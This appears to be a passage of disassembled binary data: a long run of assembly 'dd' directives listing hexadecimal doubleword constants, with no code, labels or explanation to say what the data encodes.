		dd 314B6737h, 0E85354C2h, 1E0F6331h, 1459118Dh,	4B07E9h
		dd 5116EC77h, 0CF4C015Dh, 2A08410Ch, 0F73EF129h, 0E81293FAh
		dd 0DB8B49C5h, 0E40B9D50h, 0AC185AD6h, 493CB6BDh, 0C62E1DBAh
		dd 0E46F0FC3h, 0B2BD5F65h, 8CA85F2Bh, 5B6804DDh, 888AF43h
		dd 7E3C6916h, 44070975h, 8B515901h, 0B51F9484h,	0AE3861BEh
		dd 833BBF0Ch, 0F72CD827h, 85DF92D7h, 138007D0h,	2F3F7394h
		dd 2F40316Eh, 0C0A9871Ah, 345EC950h, 0CE1881D1h, 0EE0A054Dh
		dd 1F127E8Bh, 8F09B32Dh, 0B09FF029h, 103FE90Eh,	1FBBAAC1h
		dd 0C43A0211h, 0AB3FD05Ch, 0B416B02Dh, 0E84A6E9h, 6B57DB9h
		dd 0CCE554Bh, 0ADFD8826h, 0B0EB1719h, 0F6C2053Eh, 43318DE1h
		dd 23266F9Bh, 0B9810681h, 12E325B7h, 12D0E1E4h,	0FF048346h
		dd 844FE6C0h, 0B8B74A64h, 1C24F65h, 96E6F527h, 1007B230h
		dd 3168515Ch, 49614769h, 0D86B6509h, 0D63CDAD2h, 45CB2785h
		dd 50E986BEh, 0FF9947F0h, 9B045312h, 90842878h,	43426C8h
		dd 14D4129h, 99B2AB54h,	25E90C40h, 0E2D97F7Bh, 0FA125C2Fh
		dd 95508255h, 8D0E0BF4h, 0F52267E9h, 53989C68h,	11CC84FFh
		dd 5B7DFCF5h, 0E05EF8C1h, 5C62A1BAh, 4B5E2F7Eh,	9D915E28h
		dd 6827843Bh, 0A8F85D0Fh, 6B2973CBh, 50566DCh, 55C44365h
		dd 1C53DFC5h, 68243CAAh, 6D43CE27h, 0FCBE3268h,	9236F609h
		dd 0A409BB02h, 0B99E2092h, 532C598Fh, 0A0979B4Ch, 65D3E55Ch
		dd 37A80716h, 18B519D2h, 1E02D849h, 0A267014Ah,	0ABD59DB4h
		dd 0BD55B100h, 4DDADF39h, 2F4D9797h, 90A78512h,	652DB9BFh
		dd 6BF03A4Fh, 6361BE5Ah, 649E4DE9h, 90AB949Dh, 0ED79434h
		dd 94FCBEB7h, 0B88296D7h, 0B6635906h, 7954EF92h, 630B7952h
		dd 4160CC20h, 0C74D517Ah, 7042BD38h, 0CF890702h, 0AE651479h
		dd 2C6E39B1h, 0B131683Fh, 62642931h, 70295F01h,	87888FF4h
		dd 606E98D7h, 2DCDED25h, 2260174Fh, 9020FC0Ch, 93EB062h
		dd 139D5496h, 0E948FA60h, 56916954h, 2E57BE04h,	53C07BE0h
		dd 3B341E49h, 0F6864662h
		dd 1AF43E64h, 2DA7EA05h, 50AF43B5h, 0E909083Fh,	6B209918h
		dd 57AB5BE4h, 0ED5EFC90h, 0DF2E088Ah, 690A010h,	0E8DDDC6h
		dd 0C8AA5290h, 2F4BB3C0h, 35B39AC4h, 0E5C8FEC2h, 8799A2E4h
		dd 1232259Ch, 612982CDh, 0CC91E961h, 1A0DCC2Ah,	59307813h
		dd 6B810FFBh, 70531E79h, 421BA343h, 0F9B74835h,	1D65FDA5h
		dd 0B4393565h, 0C9D5A28h, 1DC26656h, 0D604160Ch, 0D029C413h
		dd 6D8904AAh, 0E4CCBB52h, 0F7122C6Ah, 0A85F45B2h, 45F24F79h
		dd 1AE4E093h, 0D3896CC5h, 0EAA4D8F8h, 6CF344C0h, 0E9290C43h
		dd 25188DD9h, 33FAEB78h, 4B0180B0h, 0E93E21F1h,	443EF5F8h
		dd 0A2FC4905h, 0CD9C51ECh, 0C2463EF1h, 9D1ED042h, 5B2092F0h
		dd 226814C2h, 0AAD2B312h, 0C3155A99h, 4B98CFEFh, 44D37ABDh
		dd 170D34DDh, 24A4E4BCh, 1E8DC0EFh, 2D08626Dh, 2A3A8E9h
		dd 0B1DD0B9h, 45CDC0DDh, 43FE25B7h, 6B896FC1h, 97B77B6h
		dd 0D60158C2h, 4129CA06h, 64745C0Fh, 0BEC1ED16h, 282211CCh
		dd 30C65482h, 0E21D05C3h, 0EEA04207h, 712A7615h, 36BCD06Bh
		dd 0E917CD20h, 0D5910C11h, 6C07A6Dh, 8F0EC15Eh,	20E78B1Fh
		dd 982DAF3h, 0F367578Bh, 87569612h, 0F0D7180Ch,	0AC6C4058h
		dd 3CB35300h, 8006EBC0h, 0F6450EC3h, 52A3FEDBh,	0C6A8DE88h
		dd 2C545CE9h, 3E0ECFA8h, 0C01A6F53h, 180D2DF7h,	0BE7F863h
		dd 75085747h, 80027384h, 0E541112h, 2DE96C0Bh, 628DD4A5h
		dd 24640FFFh, 28EA7F38h, 5804867Ah, 2942CB6Eh, 80217D4h
		dd 5C102AE9h, 747A8012h, 0D9296373h, 7A8525Ch, 22C30976h
		dd 0CBAC5AE4h, 13DABD00h, 0F7452A33h, 0A5E4DD4Ah, 52760FE5h
		dd 0BC3D490Bh, 3F03E98Bh, 361CC830h, 0F2F3F282h, 363A5B98h
		dd 872C0810h, 9919EBF7h, 4DC0CB97h, 0F8015AC9h,	0DD825FEEh
		dd 6C7148A8h, 38C88627h, 0A75D25C9h, 0E0B35140h, 0EE311029h
		dd 0F2B8C031h, 0A03AC969h, 6260668Ah, 1AD5602Fh, 50126BF2h
		dd 0D1A88B29h, 3E19D103h, 2B2C143h, 5A73D060h, 2A0C7030h
		dd 50BE0B38h, 9FF4EB19h, 0E49DD7E6h, 77E9AA3Fh,	26C607F1h
		dd 7BB7EBFh, 53332821h,	0A6F0C35Fh, 0DE64182Dh,	76BE63BEh
		dd 8E7D04C5h, 0D69AEEEEh, 0E9B9444Fh, 68E19083h, 422D1AF0h
		dd 97AF072h, 57EF1220h,	275802F5h, 73145F79h, 256DDB97h
		dd 0E961C5F4h, 24751832h, 82E278D8h, 54D98A41h,	0EC9999F2h
		dd 4697CB0Bh, 0F10E2D8Bh, 6813236Ch, 4F650FADh,	49098EFAh
		dd 1FE90B54h, 153E7549h, 958C6491h, 58481EBFh, 94127425h
		dd 79A0144h, 601F9012h,	5F056188h, 19E92505h, 1E66C9E0h
		dd 55DDF65Ah, 327ED54Eh, 59BAEDD2h, 275CC5DDh, 0E942CE59h
		dd 0FFA44A25h, 0A4E3DD04h, 40C10320h, 39B15A5Bh, 79E02821h
		dd 0E96109BAh, 0F55B3A6Eh, 6976C4ADh, 29228391h, 0DDD6454Eh
		dd 8CF13E64h, 0FEBCE07Eh, 206EA441h, 171C7102h,	0C5814800h
		dd 1ED336A5h, 5E39855h,	2EC1253Ah, 50D1AB31h, 3565ACE9h
		dd 0D60BA27Fh, 4976E0D8h, 4225138Fh, 0B280A0E2h, 7507358Eh
		dd 49B0094Ah, 6DEB02EEh, 0F02962E8h, 0D84231D7h, 0DA784FADh
		dd 3D4D9A2Eh, 35446865h, 23C84909h, 83E09F58h, 7BBF372Ch
		dd 0A0173D7Fh, 217737EBh, 826C9D23h, 0CE22510Ch, 723AC80Dh
		dd 54B7A003h, 0E6F09D5Dh, 464D062Eh, 2D5F8EC0h,	0F4BF0449h
		dd 0EA1F53A2h, 89C56DF2h, 0E119C5F9h, 0CE9F02E5h, 0B402EF08h
		dd 4AC91AFBh, 425AC115h, 5D876A7h, 0DFB9D931h, 893BECA2h
		dd 74A94383h, 2C68BAC4h, 6831C28Ah, 3D543D3Fh, 0D5346061h
		dd 5E568830h, 68F4DCFEh, 753EC032h, 2C455662h, 147916h
		dd 81B506E9h, 487D5C58h, 12562298h, 7A6809C2h, 7648BA56h
		dd 393E09C2h, 0AE005F7Ah, 816D1968h, 2C5F3FEFh,	289724Bh
		dd 0F8A4248Ch, 8E0FAA8Bh, 0C90C5E57h, 7DFF361h,	7E64C4B1h
		dd 31C9D6C0h, 33DF245Ah, 99103C2h, 0C0A0EFBh, 0B98A7E10h
		dd 1412B08h, 5B6FB668h,	0D2FC7829h, 0C00F1BD1h,	5A253B6Dh
		dd 0B521555h, 8DD63A0Dh, 1614C2E3h, 0BED8896Ch,	751ECC20h
		dd 90DEAD5h, 784A0C6Ch,	4EDB0405h, 0F552DF92h, 0B009446Bh
		dd 0CE49097Bh, 3B830961h, 9CEA82C8h, 4936F6F0h,	0C72FFF48h
		dd 5BEEC180h, 7625A908h, 0FBA5BC0Bh, 2E82D744h,	6775B16Ah
		dd 0DF72273Bh, 7F0B4D7Dh, 2BF5E95Ah, 2D9540CBh,	7D277B18h
		dd 7A8C3217h, 10D7E23Dh, 805007F7h, 0F6F2E5C0h,	0FF9D8B5h
		dd 59EB287Ah, 1903D77Ch, 2A040A8Bh, 40810D6h, 0D5B05052h
		dd 6EA8788h, 735980F3h,	58293B32h, 98C78FAAh, 3FDB764h
		dd 0CF80DFF6h, 779FFE51h, 0C0F1E2D7h, 730F40C4h, 6438B00Fh
		dd 0B012E3C6h, 0A133C73h, 0C4006DD6h, 4E010502h, 27067EECh
		dd 977314F7h, 0F17EA97h, 5E864DF9h, 4D1CE4C1h, 0DE86F587h
		dd 0D608D3F7h, 0B88F0710h, 164DE411h, 81ED1E0Fh, 1D80AC5h
		dd 31BA617Eh, 8CEE96D0h, 7ABD1EC2h, 0C70524ACh,	872B1399h
		dd 12DC143Dh, 53A301EFh, 4D7A5968h, 19A62BE1h, 0AB12B44Ch
		dd 0CEB5201Dh, 4C5B5A43h, 3DEB1B9h, 41B951C8h, 18601682h
		dd 0C7B99277h, 0C9577605h, 0B9C36E80h, 20A42FBDh, 914EB782h
		dd 0F6C0FE01h, 0F6662CE4h, 0ECF55F3Bh, 72AFD247h, 1677C379h
		dd 0FC79B7A9h, 5394762Dh, 715855F2h, 2D6BB803h,	0CD292891h
		dd 0C9161FEFh, 0E4C75B85h, 0EA5A26A8h, 829F2EBDh, 2CD028F9h
		dd 86AE2D60h, 0E5EB8FC1h, 0DDCB1F52h, 18E39C6h,	0F72801B6h
		dd 2CA2685Ah, 0A1E9C3AFh, 0B410184Fh, 0EC653490h, 42F60483h
		dd 0BC350A6Bh, 0B04F282Ah, 85253EE8h, 0E1A46047h, 17151390h
		dd 0DD594302h, 0C7E08D83h, 45090CB9h, 88CF295Ch, 5909088Bh
		dd 358E5852h, 0E36A4B77h, 0CBE9C255h, 8F890988h, 58132A7Ch
		dd 2172C6F1h, 401E7712h, 8B566738h, 0B909BA0Ah,	0D537F45Eh
		dd 43B39064h, 647FA8Dh,	0F81ECAECh, 0EA22C1CFh,	7010FB72h
		dd 0F8417550h, 0E043F16Fh, 0A3C02287h, 0D626CEEEh, 0A68984Bh
		dd 9FB251Bh, 0A494089Eh, 7504FF0Ch, 468304EDh, 0BF53172Bh
		dd 3C8093B4h, 0FD278DCDh, 0E0EBDD7Ch, 0E16A58Dh, 5B6869FEh
		dd 0F0960264h, 2D129C02h, 77814184h, 0F210124Dh, 0FE3E584Ch
		dd 42D0AE10h, 0C2D55617h, 6893EB5Ch, 4FE9ECE4h,	0FE9F844Bh
		dd 0F52BC93Dh, 9EA37E38h, 688C9093h, 6CBF11DFh,	0A2BCA1ADh
		dd 0C2020F39h, 9A3998DAh, 929542F5h, 68DCA386h,	69EAE4E0h
		dd 0F2297B97h, 473B236Bh, 53EA4017h, 722B29AAh,	87AD93FFh
		dd 4450EFB2h, 55041BCh,	9477005Ah, 33572D39h, 293E189Eh
		dd 30751D8h, 0A12C78C2h, 405AAEE8h, 51D22D78h, 0F6D4886Eh
		dd 1B842E46h, 0C2812556h, 0CDEDF580h, 0A7A13FC3h, 0FB514F97h
		dd 6F685460h, 0CADEA859h, 586DAA86h, 0A5710999h, 0DA004E52h
		dd 13743818h, 2BF094Eh,	0CA498410h, 0E6D8405Dh,	5A6E181Bh
		dd 0D6AD1A1Dh, 89B9E401h, 0B642E9F7h, 2D2AA63h,	724D2980h
		dd 111B40E1h, 0CC3A377Fh, 194EB73Ah, 9E4B9D31h,	0DC95F005h
		dd 5BBA93F7h, 92D35CE3h, 7782E50h, 69C39FA0h, 0DF2B4A27h
		dd 508C388h, 90E1E958h,	50716824h, 800BB43Dh, 27483C25h
		dd 16900D79h, 20F23Fh, 552D0890h, 0C33CD189h, 0DBE98B29h
		dd 0D96EA207h, 0C489451h, 96F4E959h, 97702C0Ch,	1712D064h
		dd 59CF2801h, 0FAC0CEFEh, 7B82C73h, 249B4D5Ch, 334160F4h
		dd 402EAA67h, 0B350868h, 0C48B77AEh, 0E90B0C51h, 1BCCD526h
		dd 39A2F9B7h, 0E8658D25h
		dd 0F1497609h, 7D258905h, 0C731A696h, 0E6D40B48h, 0B1EDD76Eh
		dd 680D6449h, 0ECC080CDh, 75C4FE05h, 505D7080h,	48C5B7E3h
		dd 0FFB50F75h, 4E8A1417h, 44A59A4Ch, 0E9F6E98Eh, 5F10696Bh
		dd 0F85EA869h, 0FBC7C4EBh, 7883CF01h, 0F737EA0h, 0DBB29D06h
		dd 10BF26Ah, 800D27EFh,	4E157CB3h, 28808CE9h, 0F70D6F45h
		dd 751BD05Fh, 0E904120Ah, 2A38F136h, 701854DBh,	47C1691Eh
		dd 0C2C6F019h, 0A33A5998h, 0D053896Bh, 0F86D9D55h, 0E95408B0h
		dd 0E9A45FDEh, 48C7C90Dh, 0BFCF6840h, 2242EBD9h, 2448834Bh
		dd 56998F1Dh, 1549096Ch, 4E0B37ABh, 0EF9D9BDEh,	0ECB73DA8h
		dd 0C0964E36h, 21B3B878h, 0AE1CCE39h, 0D51244C5h, 25E3BA01h
		dd 0A07F6D75h, 0EB6B7F7Bh, 0FFFB62CAh, 0F069F282h, 72D120Fh
		dd 0D80501FCh, 75BFF160h, 78F76E03h, 0AB81474Fh, 29110971h
		dd 67DD5FFEh, 5CD4895Bh, 1B6887A1h, 12722662h, 74BA3DBDh
		dd 7330FFB4h, 0C1D9E2E9h, 81EED122h, 8810ECCEh,	0E2FB190h
		dd 55E69279h, 0E9125B9Eh, 57F8CB6Ah, 37044ECBh,	570FBF36h
		dd 0D042EC37h, 973212C9h, 4BE7BC6Ch, 0F774BFB8h, 93BEC311h
		dd 0DE08BF06h, 43012BDh, 2BB7AE7h, 0F459CB28h, 0C28D1B0Bh
		dd 228ABEF1h, 60011C27h, 0D71F2F1Dh, 0F5839C57h, 0C3048F59h
		dd 414F29B4h, 5BC67CE1h, 0DB1692F6h, 0CB87F8E4h, 503F29A5h
		dd 4DA20980h, 8B751A03h, 8911DE3Ah, 7045A0FFh, 982DD71Fh
		dd 0D3ABB45h, 0B93559A3h, 75A32F0Bh, 0ECF0810h,	0E1104E2Dh
		dd 5C8297Ch, 52C10747h,	0E46E4158h, 0E72470BFh,	0E402ED0Fh
		dd 41152922h, 0FD4C6827h, 4231CBAh, 0D0287E3Fh,	0F52E257Eh
		dd 7472C9DEh, 0A0546539h, 37021177h, 0A8E930D8h, 29396923h
		dd 7968C241h, 0E6139272h, 0C7C9FBF2h, 0B66EB2E4h, 4458AF68h
		dd 0FEE42F22h, 6F91415Eh, 5A40BEE1h, 0E54267B8h, 0BAA92460h
		dd 12E2B78Ah, 3F26517Dh, 0B4264E13h, 6928A6CEh,	424AC0BEh
		dd 0C648400Ah, 0C7341416h, 0E36237FBh, 283BE593h, 9A5D1355h
		dd 505A6C32h, 700D4B4Ah, 33F368FCh, 44AAD99Dh, 9F07F45Fh
		dd 0DF208269h, 455D5BBAh, 4BA08434h, 5000EEF8h,	36AA6265h
		dd 31E2B531h, 40CCE575h, 339EB951h, 8458619Dh, 0F144432Bh
		dd 0A9888BDDh, 594ACA31h, 3B7B6D04h, 8817B301h,	505BE5DEh
		dd 2C875ACBh, 2AC669Fh,	66746BB5h, 0D784EEC1h, 5EBBD250h
		dd 9A0921D3h, 0B89BF13Bh, 85CCBD5Eh, 60EF2111h,	3CA012Ch
		dd 795A022Dh, 0D48CC215h, 5EC96801h, 8556A66Fh,	2DFBF66Dh
		dd 12D82EA2h, 972982F9h, 946AA0F6h, 0BB7DD200h,	41EAE94Fh
		dd 0EFF83E18h, 0DD616416h, 2B496070h, 12972A13h, 0D5C8D8F1h
		dd 0F8ED5B68h, 0B7921329h, 1F048D35h, 5C01109Eh, 665BD168h
		dd 0D7466FBh, 914DFCE9h, 0AF579751h, 0FA76007h,	26B4147h
		dd 42FEE1E2h, 0F9A2639Dh, 1886D7F7h, 0A76CEEFh,	0A788C718h
		dd 0FD5FFD22h, 1A62D27Ch, 0ADE394CDh, 4766EE65h, 0C70413EDh
		dd 83952145h, 3E5BDB2h,	4A3D6073h, 0A0E7B5AFh, 801F5BF8h
		dd 88C382F5h, 0A5D0F6E8h, 52667B81h, 0AF4F2888h, 3385BE1Dh
		dd 0CAB031D4h, 6C049DE0h, 0F6CDAB58h, 0AE4D100h, 0E943133Bh
		dd 33B48232h, 6871855h,	718082C2h, 0CB1810A7h, 4BFC6692h
		dd 0F27424EBh, 71652709h, 77F089BFh, 5E580A89h,	0C4C85D48h
		dd 38EA3C34h, 0D1B55CA3h, 0E06884C7h, 55398C60h, 97DDB9Dh
		dd 50EE864Ah, 2AAFA4Bh,	0A290E95Ah, 2BC250F4h, 486E7546h
		dd 6441095Bh, 6DA852B3h, 0E828C57Ah, 915C8934h,	0A924D2CEh
		dd 0B666EC5Dh, 0F71C2F99h, 67F63AF3h, 0D2DCE2D3h, 0FBC458FCh
		dd 0FF89FF34h, 0C4EFA82Fh, 0A61DF4E3h, 91EF12F5h, 72062647h
		dd 385C9023h, 2CE17066h, 0E157B20Dh, 0CA5B282h,	0C54FF9F9h
		dd 31EE0D8Fh, 1F57113h,	0EE3C1C29h, 3E4FCB02h, 0EE842C3Fh
		dd 14BD00FEh, 0BD776453h, 4A096764h, 0F77F4727h, 0F02FA867h
		dd 0E95E2495h, 0E2D22555h, 7A386F0Bh, 435742B1h, 5801A461h
		dd 2C767068h, 0F372C4D3h, 0EF2AC8FEh, 0B7A0D9B2h, 44902193h
		dd 96DD0B5h, 576B507Bh,	534E4B66h, 0DF0BBBA6h, 1CDC0115h
		dd 7AACE464h, 6683B802h, 42D5367Fh, 282CFCB9h, 92F49BBh
		dd 2C65489Eh, 0B468B200h, 70EC80DDh, 75D47549h,	519497C4h
		dd 2609B13Fh, 0E32FD0E9h, 0C958AB5Ch, 1A6055C9h, 0D603FCC0h
		dd 0BC0FAB18h, 9F354569h, 2DE00694h, 0E2FC4968h, 31F7357Eh
		dd 6388FB0Ah, 8741F1Ah,	162C890Ah, 428F32A1h, 0F4B6A530h
		dd 9D61F842h, 18E9C315h, 0E31670D1h, 980D5866h,	0B4303328h
		dd 0D380B051h, 0B31FE0ECh, 594FDDB2h, 9DF83E8h,	9EF707C4h
		dd 4FCFE33h, 171F742h, 7D0810D9h, 1F71294Dh, 6B0F680h
		dd 14B45090h, 0AFCCFE09h, 9AE91A73h, 7F419338h,	9A113E31h
		dd 19337FDBh, 0CB5F10C6h, 0E737C1DAh, 12E3B32Bh, 8CBEE109h
		dd 40E3DB2Fh, 3E01514Eh, 52F849E6h, 1FD2F55Bh, 0B5400704h
		dd 0FFE7F06Fh, 54107762h, 0E8D10070h, 791FE725h, 0D8097B85h
		dd 4850FA57h, 40C9CB06h, 85FDB529h, 9FC7FE29h, 401EC2C4h
		dd 0B26FC387h, 0B1B8CD01h, 87F48E59h, 2BD932A9h, 0B66600Ah
		dd 0EC51B73Dh, 0DAB65281h, 80FCF788h, 0F2F2C5C5h, 57BC931Fh
		dd 5B2FB23Ah, 542516E3h, 7C98D35Ah, 0D4651A9Dh,	15F50D4h
		dd 90CC157h, 0F9D6DEE9h, 8DC5CF03h, 309A4EC7h, 0FEDEE5E4h
		dd 4CC9A920h, 1C365737h, 8736C25Ah, 31D57840h, 0A8CDF6A1h
		dd 0DA0FF708h, 0CB346679h, 517004DDh, 61596802h, 31C16655h
		dd 471BA918h, 0B90C5Ch,	7DC33791h, 86E9CE21h, 60C93B9Ah
		dd 5CB8895Dh, 569D5421h, 0FDB11895h, 0A2BF4868h, 0CE165B5h
		dd 2B4CE3E4h, 8EF94E9Ch, 0CCF9047Fh, 0A9894AA9h, 0D09D073Bh
		dd 0E5EED918h, 71980113h, 8A604BA9h, 7C614AD9h,	5E0142CCh
		dd 898E6D55h, 7A42F45Dh, 68504054h, 0DBCC9D01h,	0D52BE917h
		dd 0BAA7296h, 92DE3C8Ah, 0E9E401FDh, 0E26E5DA0h, 0ED32611Eh
		dd 0B73A0105h, 361D15C9h, 0CA773893h, 472E6830h, 209590DEh
		dd 315F5079h, 5BC0CEA3h, 95685756h, 67DD0112h, 8D057DECh
		dd 0EF3D4EF5h, 0D1BECB85h, 0E174D312h, 77867023h, 3CD80700h
		dd 7DBA5247h, 61F7533h,	0F93C281h, 0D4EC4855h, 8B5D4898h
		dd 0CF057F75h, 6842350h, 7C40E5C0h, 0B93E4BF3h,	0DFAE0390h
		dd 41314C6Eh, 84428876h, 8550B6Ah, 9661F914h, 8F41AB65h
		dd 0CA3BA3A5h, 0B64A7C80h, 60FE0F12h, 2044B0B3h, 0BC8C24Ch
		dd 7B0647E9h, 0CF74A703h, 5C0E78C2h, 415D62E8h,	28622BF1h
		dd 326802DDh, 0C0205A44h, 80F2B562h, 67E2C1ABh,	9979664Ah
		dd 8DEBE893h, 0DC6A42DBh, 0E0F7F0C8h, 1133D94h,	130E84BAh
		dd 9F2DAAE2h, 0FB49126Fh, 0BD51703Ch, 0C8205D51h, 5422C31Eh
		dd 0DA010F4Eh, 0FD080B48h, 130A3282h, 17A5560Bh, 92B45EEh
		dd 0C19961C6h, 0ADEE60E6h, 34CD3B5Eh, 0F1B9702h, 0C15460C9h
		dd 1AB5B901h, 5BFC5544h, 4AA37D7Bh, 0C193055Ah,	0C2900DEAh
		dd 0C5312F77h, 0B27EF858h, 62AB55DAh, 3142D292h, 794D4568h
		dd 64F88022h, 0E3E938BCh, 71B46D9Ah, 5E27D210h,	0FE96BC44h
		dd 2ED85D16h, 0AF06179Bh, 0AE2D8513h, 850100Bh,	6884A6BEh
		dd 87CC63D3h, 2F4EB052h, 0EC6B90DEh, 81A0E2BAh,	0F22B951h
		dd 1253B448h, 70BA2A38h, 86F38127h, 4C5B6A03h, 2FD98951h
		dd 0FEF8CED8h, 6AE6595Bh, 0ECF09089h, 0BD2C4E76h, 44A6548Ch
		dd 8512D62Ch, 0B753F942h
		dd 0B48555A9h, 0C15A1E01h, 0FE43B050h, 340480C0h, 0E9C7886Ah
		dd 138B2D0h, 0E7685052h, 2A148418h, 0D2C52EFCh,	1BCED4D8h
		dd 0C1FD72F9h, 0D12CF85Bh, 0EE97415Bh, 1CC511EDh, 35D6313Bh
		dd 0A0C38B55h, 7834DDD3h, 2685321h, 0DF1EE95Bh,	0D369C957h
		dd 0B4122428h, 0C705AB70h, 73C0ACE4h, 7BE128F5h, 85D15D58h
		dd 44D6F11Fh, 0AB8813C1h, 5F5FC738h, 0E494B859h, 4A2791E9h
		dd 107F950Bh, 20706518h, 0A50269DEh, 0E96B6123h, 6D057D62h
		dd 0A139AC59h, 0D542C209h, 0C05D0437h, 0C5075EA6h, 112F367Ch
		dd 0F5EC3A9Dh, 0E02C1E10h, 4C5712DFh, 9625BFACh, 0F49FA978h
		dd 0E95570F3h, 0A52C1429h, 678B171Dh, 0BF169629h, 23E9AF02h
		dd 0BB0498D0h, 265F7617h, 0FA581AC0h, 5CF560EDh, 3DD269D1h
		dd 0C216A95h, 40203E08h, 0A71D6835h, 16FD1D0Bh,	6CEE4188h
		dd 0B425E947h, 5572D9h,	59810D92h, 0F65DE3B9h, 1FE9E4Ch
		dd 13EF6C54h, 871F129h,	4A5E0802h, 980FF076h, 17785E0Eh
		dd 0D02AFB7Dh, 4094A940h, 0E0B75988h, 132DEB48h, 0EF03A858h
		dd 0F5E98E03h, 0AC500004h, 0B353D830h, 0EB3980C5h, 69CB85A8h
		dd 0B2E8BEE9h, 83083503h, 5CD2F2F3h, 0FFAB44Bh,	7C858B7Fh
		dd 5AD0628Ah, 0AAE4C4F5h, 0A096FD84h, 93D509FFh, 5A47036Fh
		dd 76E9D529h, 0AD07BF6h, 585E5008h, 0FE1DD944h,	1829D37Eh
		dd 0E0C15B3Fh, 8BEC056Ch, 0C429E88h, 2C2008C7h,	0F2201628h
		dd 4B896839h, 0C113C8A3h, 6BC00566h, 0E621889Bh, 8477820Eh
		dd 0F4F6C04Fh, 63640E2Bh, 0DD14F889h, 0ADB82800h, 35214A6Dh
		dd 7C2F1D3Ch, 323F4012h, 0DE05182Dh, 2582511Dh,	3E05C7E8h
		dd 7A9EE9E4h, 0D5CB5DD2h, 25289000h, 4BD0AB4h, 0A5B0A230h
		dd 0F3664F5Eh, 4768C589h, 0AD5FBCA8h, 42ED43Eh,	598020F4h
		dd 2BC1E5FAh, 26AB70C1h, 0BDD6F162h, 37E98358h,	0F6FE848Bh
		dd 0C92D1F5Dh, 50BF2454h, 7B0D746Ah, 46017031h,	9029F21h
		dd 8D47B58h, 591FB6EEh,	1EDEFD2h, 1B7C0189h, 18C051C6h
		dd 6AE60534h, 332E0AC6h, 0CE01AB59h, 77B0C8Ch, 0DD5CC860h
		dd 5E8A88A5h, 79336806h, 44FD20C5h, 0C7C9CA2h, 583D5E25h
		dd 154ACFE9h, 931F290h,	0C9335020h, 6232007Ah, 12CA8128h
		dd 7848250Fh, 5E192592h, 0E6597AC6h, 12D9CA4Ch,	0D36AE3Bh
		dd 6B0DDD21h, 0EA60B4F1h, 46564B02h, 0D36D09D9h, 0C28236BEh
		dd 6373855Fh, 6B1BA6Eh,	0C820B9ACh, 1CF856h, 810C3766h
		dd 0F822C7CFh, 4AC335Ch, 3EBE426Ch, 68ACD9C0h, 0D026589Dh
		dd 9B1AA906h, 0CB0B9E3Dh, 4639250h, 0BF12FAF7h,	74877364h
		dd 0C533758Bh, 33278CD1h, 3097DF35h, 20024252h,	61EDB0CCh
		dd 2D705B27h, 25BD9066h, 3B1B7C40h, 422C1DBAh, 809D09B2h
		dd 0DF09B3F2h, 616F6376h, 0B652A6C7h, 90F70F30h, 31DE4EECh
		dd 391F8BD8h, 789A7C9Eh, 0CF5046CEh, 85C10FF8h,	99EFABCEh
		dd 2D923D9Eh, 2110950h,	0A419FEFh, 90FC5ABCh, 2D195C6Bh
		dd 569CE79h, 66F0FED0h,	4B22B804h, 7D6AA197h, 0CE3B84ECh
		dd 5301EF12h, 45FD3A08h, 17EF9270h, 51E2F39h, 0A012E991h
		dd 0C577886Ch, 9DF4B820h, 8163CC50h, 0E91EFEC0h, 81489592h
		dd 0F3404AA6h, 6D1704C7h, 9DEE1E51h, 5E0C022Fh,	19E0FDAh
		dd 8630FFE9h, 0DB2DE9D8h, 277AE6F5h, 3B121F55h,	5196F9D9h
		dd 58CA17A1h, 3153BDF4h, 488B38ACh, 0E03EFEE3h,	2A291EBBh
		dd 33E97917h, 0CF050840h, 0CA135F48h, 16072D88h, 29538D5Bh
		dd 62631670h, 0D36BF7DCh, 0AE14FF89h, 5DBC02F5h, 5242131Bh
		dd 0BA232D2h, 0B4C1E639h, 12CBA4EEh, 77258C02h,	0D2E9FD4Eh
		dd 0F1847073h, 0E3880C9Ah, 254B11E6h, 0B315E82h, 0A314A7FEh
		dd 0FEF68182h, 0EE4224A5h, 38EAF08Ch, 0F83CBE04h, 522C5996h
		dd 0A7ECE881h, 482206F2h, 0B5871C6Dh, 50E03E71h, 9511B3E9h
		dd 0C4C794EEh, 54075D9Ah, 5A9EF5C3h, 0FAAF160Dh, 59830E62h
		dd 0A8599646h, 44D5C5B3h, 0C1140DA3h, 697DE1D6h, 0C7DF0B0Bh
		dd 808F16B0h, 3C685B44h, 0C1317E4Fh, 0B8C2F1AFh, 0F0417859h
		dd 0CCDF846h, 16F76013h, 7614380Ch, 0FC740EAh, 18DA2406h
		dd 2453710Ch, 1055E025h, 0D0124EF3h, 94E8EBBh, 0C4B152E9h
		dd 7105B097h, 0CDBB80A1h, 6D801118h, 1EE3796h, 0E52D927Fh
		dd 240DB651h, 135F5A89h, 9D819B24h, 0E36BF158h,	28575B2Fh
		dd 5E2B089Ah, 736CAF53h, 0E3E9D616h, 89B8DBC3h,	87606F53h
		dd 0A4885313h, 4F236809h, 0BC42D553h, 20147244h, 811C095Ch
		dd 864E13F2h, 0ACEAC141h, 0F2340234h, 0F8FB0103h, 0E9D031CDh
		dd 0B525FB4Fh, 41D37B77h, 274CC368h, 82754CBFh,	8F012A56h
		dd 721D0F7Bh, 9CF36597h, 68FB0CEAh, 0FBB50A17h,	0B37C2441h
		dd 8B0B831Eh, 0E4F6FD7Ch, 5B50F062h, 8A470924h,	0D145A868h
		dd 1878A3AAh, 0B03C8FB0h, 0F1AD5A14h, 3F8D64E1h, 13311533h
		dd 21792C6Fh, 0A5C884B6h, 0D7BD605Dh, 0B645973Fh, 0BFB1E984h
		dd 7FCE9C8Dh, 7C14F869h, 0CE344B2Eh, 7FC661ABh,	37A8044Bh
		dd 42ACEC4Ah, 313F7C55h, 5791DBF8h, 8C7BE19Bh, 4C9CBE8Ah
		dd 274FE525h, 2CD291DDh, 6990B16Ah, 5F5A890Ch, 91FA08E6h
		dd 0B1068A9Ah, 64F180EDh, 53440F06h, 2F0B450h, 0E9E78822h
		dd 57B580Eh, 3D161FBEh,	218EE3Eh, 4EE90206h, 102E1C9h
		dd 7F03E85Dh, 4F107147h, 0D8297982h, 68088029h,	0D2035BB1h
		dd 46D53296h, 13165FA4h, 8682AD2Ah, 3D8D3BFh, 4A34BDBBh
		dd 878D4B5Ah, 2F11DDB6h, 7737E1E1h, 69AE9979h, 5109CE5Ah
		dd 0A00FBBE9h, 60A7D13h, 0D3F7260Eh, 11821A15h,	19C21E77h
		dd 70D8285Ch, 84D06D52h, 4D09E622h, 0FCAC0F7Dh,	309F9C5h
		dd 59648681h, 321C4F05h, 51D26173h, 0BA9C6F54h,	74E919D1h
